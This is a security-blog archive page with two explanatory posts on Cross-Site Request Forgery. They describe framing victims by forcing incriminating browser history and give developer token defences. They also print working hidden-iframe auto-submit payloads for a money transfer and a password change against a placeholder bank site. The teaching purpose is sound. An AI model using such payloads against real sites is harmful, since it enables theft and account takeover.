Tag Archives: xsrf

Cross-Site Request…Framing?

I admit, the title of this post is deliberately misleading. It’s really about Cross-Site Request Forgery (CSRF), but it does involve framing − just not the kind that you might be expecting.

Before jumping into the meat of things, let’s start off with an appetizer: What is Cross-Site Request Forgery? Rather than give you the “textbook” definition, I’ll just dive right into a real-world example.

Let’s say you visit http://www.news.test, and there is a logo on the homepage. Let’s also say that the logo is hosted at this address: http://images.example.com/newsLogo.jpg

When your browser loads the page at http://www.news.test, it’s likely you’ll see an image tag similar to the following: <img src=”http://images.example.com/newsLogo.jpg” />. When your browser renders that image, it must first place a request to images.example.com in order to retrieve the newsLogo.jpg resource. There’s certainly no harm in this, but for the sake of argument, we can confidently conclude that the www.news.test website forced your browser to place a request to images.example.com without your knowledge or explicit consent. Right?

Now, let’s suppose you visit http://www.news.test again, but this time there is an image tag that looks like this: <img src=”http://yourbanksite.example.org/transferMoney.php?toEmail=attacker@attacker.example.net&amount=99999.00″ />. As in the example above, when your browser loads the page at www.news.test and attempts to render the image tag, it is going to place a request to http://yourbanksite.example.org/transferMoney.php?toEmail=attacker@attacker.example.net&amount=99999.00. Your browser will place the malicious request without your knowledge, and if you are authenticated to yourbanksite.example.org when you visit www.news.test − assuming the yourbanksite.example.org web application is not protecting against a CSRF attack − your life savings and kid’s college fund will be gone in a flash.

This kind of attack succeeds because of a flaw in how the Internet inherently works. When your browser places a request to another site, any cookies that exist for that site are sent along with that request. Since authentication is typically handled through cookies, and your cookies are sent along with the malicious yourbanksite.example.org request, the yourbanksite.example.org application is going to see the request, recognize it as coming from an authenticated user (you), and thus honor/process the request.

There are more things to consider in this type of attack, but for the scope of this post, that’s all you really need to know now. While a CSRF attack is typically used to exploit an application that the victim is authenticated to, for the sake of what I’ll be discussing below, I’m more interested in the fact that a CSRF attack can be leveraged to force a victim’s browser to place arbitrary requests.

For additional reading material on CSRF, see this post on WhiteHat’s stance on CSRF, and the Web Application Security Consortium’s page on CSRF.

Ok… appetizer digested? Now for the main course…

Information is everything. It’s power. Privacy within Web applications, especially social media applications, is a war zone because information is such a profitable and appealing target. The smallest pieces of information − or *mis*information − in the wrong hands can cost you your identity, your job, or even your freedom.

Wherever there is a massive data flow of information, there is inevitably going to be monitoring and tracking. From advertising networks, to law enforcement organizations, to intelligence agencies, there is no shortage of people who are interested in obtaining information about you. I’m not just talking about your personal information, such as name, address, and phone number; I’m also referring to your browsing history, your social network engagements, and the kind of content you publish to, and consume from, “the cloud”.

Imagine your spouse or your boss opening up your browser’s history. Would you be concerned about what he/she sees?  Or perhaps the FBI confiscates your computer without warning.  Would you be worried about what they’d find?  Hopefully, the answer to both of those questions is “No”. But what if there was enough incriminating browser activity that you lose your job? Or a warrant is issued for your arrest? Or you even get labeled an “enemy combatant”?

Sounds kind of absurd, right? Well, how else would you explain your Google searches for “homemade explosives” and “President Obama upcoming trips”? Or your visits to underground child sex trafficking sites? Or your posts made to pro-Al Qaeda message forums? It would seem like you’ve been up to a whole lot of no good!

You may protest, “I would never do such things!” My point is that through the use of Cross-Site Request Forgery, an attacker can populate your browser’s history with all kinds of unpleasant Web traffic. Not to mention that the requests would actually be originating from, and traveling through, your home or office network. In fact, if you are lured to a malicious page and stay on it for more than a brief period of time (perhaps to watch an interesting 10-minute video), an attacker can simulate real, human behavior by spacing out the incriminating requests so the traffic resembles that of someone actually clicking on links and spending time on questionable pages (rather than have all malicious requests placed in rapid succession).

“But wait,” you say, “isn’t there a way to distinguish CSRF traffic from legitimate user traffic?” Well, the malicious requests will likely have a ‘Referer’ header set to the URL of the page where the attacks originated from, such as: “Referer: http://attacker.example.com/csrfattack.php”; however, consider the following:

1. The ‘Referer’ header is not tracked in your browser’s history, so that won’t help you in court.
2. Although I’d need to actually research how much detail is tracked by ISPs, government agencies, etc., I suspect that the ‘Referer’ is among the lesser-tracked items.  Besides, even if ‘Referer’ is tracked, an investigation would still be required to determine that the traffic was spoofed, and that’s a headache all on its own.
3. It may be possible to spoof the ‘Referer’ header by exploiting flaws in common technologies such as Java or Flash.
4. It is trivial to strip the ‘Referer’ altogether (kudos to Jeremiah Grossman for the tip).

The bottom line is, falling victim to this kind of CSRF attack can, at the very least, be an enormous inconvenience and a hassle to clear up. At its worst, being framed in this way − even if you’re eventually shown to be innocent − could destroy your reputation, your marriage, your career. False accusations can tarnish even the most innocent person’s reputation, especially if that person is a prominent figure and the media gets involved.

We live in an amazing age where information − and especially “news” − spreads like wildfire. With social media apps connecting billions of people worldwide − I’m thinking of Twitter in particular − breaking news can hit your cell phone before it even crosses a news anchor’s desk. If a celebrity, politician, or other public figure were to be targeted by this type of CSRF attack, his or her life could become exceedingly complicated − very quickly.

Consider the upcoming 2012 election: Such an attack could be just what a candidate needs to derail an opponent’s campaign progress. By the time the victim could prove the allegations false, the election could be long over!

Our world is rapidly changing, and each new generation becomes even more submerged in the technological realm than the one before. The more immersed in technology we become as a society, the more sophisticated and damaging attacks on our privacy and personal information will become. For example, it’s only a matter of time before hackers start getting into your fridge.

How long have you been reading this post? Five, maybe ten minutes? Did you switch over to another tab for a while half-way through? Or maybe you got up for a bit to get some food? Better check your browser history… you never know when − or from where − a CSRF attack might originate…

My First CSRF

My First Cross-Site Request Forgery Experience

A while back I was sifting through the posts of my friends on one of today’s popular social networking sites when I saw an odd video called “baby elephant giving birth” – or something to that effect – posted by several of my friends. This tingled my security-spidey senses. I knew something wasn’t legit, but I didn’t know exactly what. I decided to get on an old desktop I rarely use to check it out.

This is what happened: I click the link and am warned that I’m leaving the safety of socialnetworksite.com. The video opens in a new tab and begins to play. I close the tab and return to my profile to see that I had now posted “baby elephant giving birth” for all of my friends to see. I was a victim of CSRF.

How This Happened

When I originally logged into socialnetworksite.com, it stored my authenticated session within a cookie, and from then on the site would use that cookie to ensure that I am authorized. When I left socialnetworksite.com and loaded the new page, evilsite.example.com, a piece of script was embedded on the evilsite.example.com page that executed upon loading. That script contained a POST request to socialnetworksite.com that posted the baby elephant video to my profile. Because the POST request is sent from my browser, the server checked my browser’s cookies to make sure that I was authorized to make that request, and I was.

How to Protect Against This Occurring as a Developer

The most common and effective form of CSRF protection is with a randomly generated token that is assigned to the beginning of each session and that expires at the end of the active session. You can also generate and expire CSRF tokens for each POST. Some sites use the Viewstate property in ASP.Net sites, but because a Viewstate just records the input data of a form, you can potentially guess what those inputs would be. Granted that a Viewstate is better than no protection at all, a randomly generated CSRF Token is just as easy to implement and much more effective.

Note: If there is Cross-Site Scripting on the same site, the token used is irrelevant, because the attacker can grab the token from your cookies and make whatever authenticated requests he chooses.

How to Avoid This Occurring as a User

Never click on untrusted or unfamiliar links. Make sure that any sensitive web sites you access – your email, banking accounts, etc. – are done in their own browser and kept separate from any other Web surfing.

For a description of how WhiteHat Security detects CSRF, check out Arian Evan’s blog at https://blog.whitehatsec.com/tag/csrf/.

So even though my example of CRSF was relatively harmless, the attack could have just as easily been directed towards a banking website to transfer money. Let’s say I open a link from an email, while currently having an active session at “bigbank.com”.

For transferring money, bigbank.com may have a form that looks something like this on its website:

<form name=”legitForm” action=”/transfer.php” method=”POST”>
<b>From account:<input name="transferFrom" value="" type="text">
<br>To account:<input name="transferTo" value="" type="text">

<br>Amount: <input name=”amount” value=”" type=”text
<span><input name=”transfer” value=”Transfer” type=”submit”></span>

</form>

When you fill out and submit the legitForm, the browser sends a POST request to the server that looks something like this:

POST /transfer.php HTTP/1.1
Host: bigbank.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Cookie: PHPSESSID=htg1assvnhfegbsnafgd9ie9m1; username=JoeS; minshare=1;
Content-Type: application/x-www-form-urlencoded
Content-Length: 69

transferFrom=111222&transferTo=111333&amount=1.00&transfer=Transfer

Neither of the previous codes is relevant to the user, but they DO give the attacker the structure to build his own evil POST request containing his account information. The attacker embeds the following code onto his website that you clicked on:

<iframe style=”visibility: hidden” name=”invisibleFrame”>
<form name=”stealMoney” action=http://bigbank.com/transfer.php method=”POST” target=”hidden”>
<input type=”hidden” name=”transferFrom” value=””> ß——-Problem?
<input type=”hidden” name=”transferTo” value=”555666”>
<input type=”hidden” name=”amount” value=”1000000.00”>
<input type=”hidden” name=”transfer” value=”Transfer”>
</form>
<script>document.stealMoney.submit();</script>
</iframe>

This code automatically creates and sends a POST request when the webpage is loaded. Not only does it not require any user action other than loading the website; there is also no indication to the user that a request was ever sent.

Now here’s another example, but using a “change password request,” instead. Let’s say I open a link from an email, while currently having an active session at “bigbank.com”.  Most likely, bigbank.com’s website will have a “Change User’s Password” form that looks something like this:

<form name=”changePass” action=”/changePassword.php” method=”POST”>
<b>New Password: <input name="newPass" value="" type="text">
<br>Confirm Pasword:<input name="confirmPass" value="" type="text">

<span><input name=”passChange” value=”Change” type=”submit”></span>

</form>

When you fill out and submit the valid changePass form, the browser sends a POST request that will look similar to this to the server:

POST /transfer.php HTTP/1.1
Host: bigbank.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Cookie: PHPSESSID=htg1assvnhfegbsnafgd9ie9m1; username=JoeS; minshare=1;
Content-Type: application/x-www-form-urlencoded
Content-Length: 69

newPass=iloveyou&confirmPass=iloveyou&passChange=”Change”

Again, while neither of the previous codes is relevant to the user, they DO give the attacker the structure to build his own evil POST request containing the information he wants to submit. The attacker embeds the following code onto his website that you clicked on; then, when the page loads, the code executes:

<iframe style=”visibility: hidden” name=”invisibleFrame”>
<form name=”makePassword” action=http://bigbank.com/changePassword.php method=”POST” target=”hidden”>
<input type=”hidden” name=”newPass” value=”Stolen!”>
<input type=”hidden” name=”confirmPass” value=”Stolen!”>
<input type=”hidden” name=”passChange” value=”Change”>
</form>
<script>document.makePassword.submit();</script>
</iframe>

This code automatically creates and sends a POST request when the webpage is loaded. And, as in the example above, not only is no user action required other than loading the website, there is no indication to the user that a request was ever sent.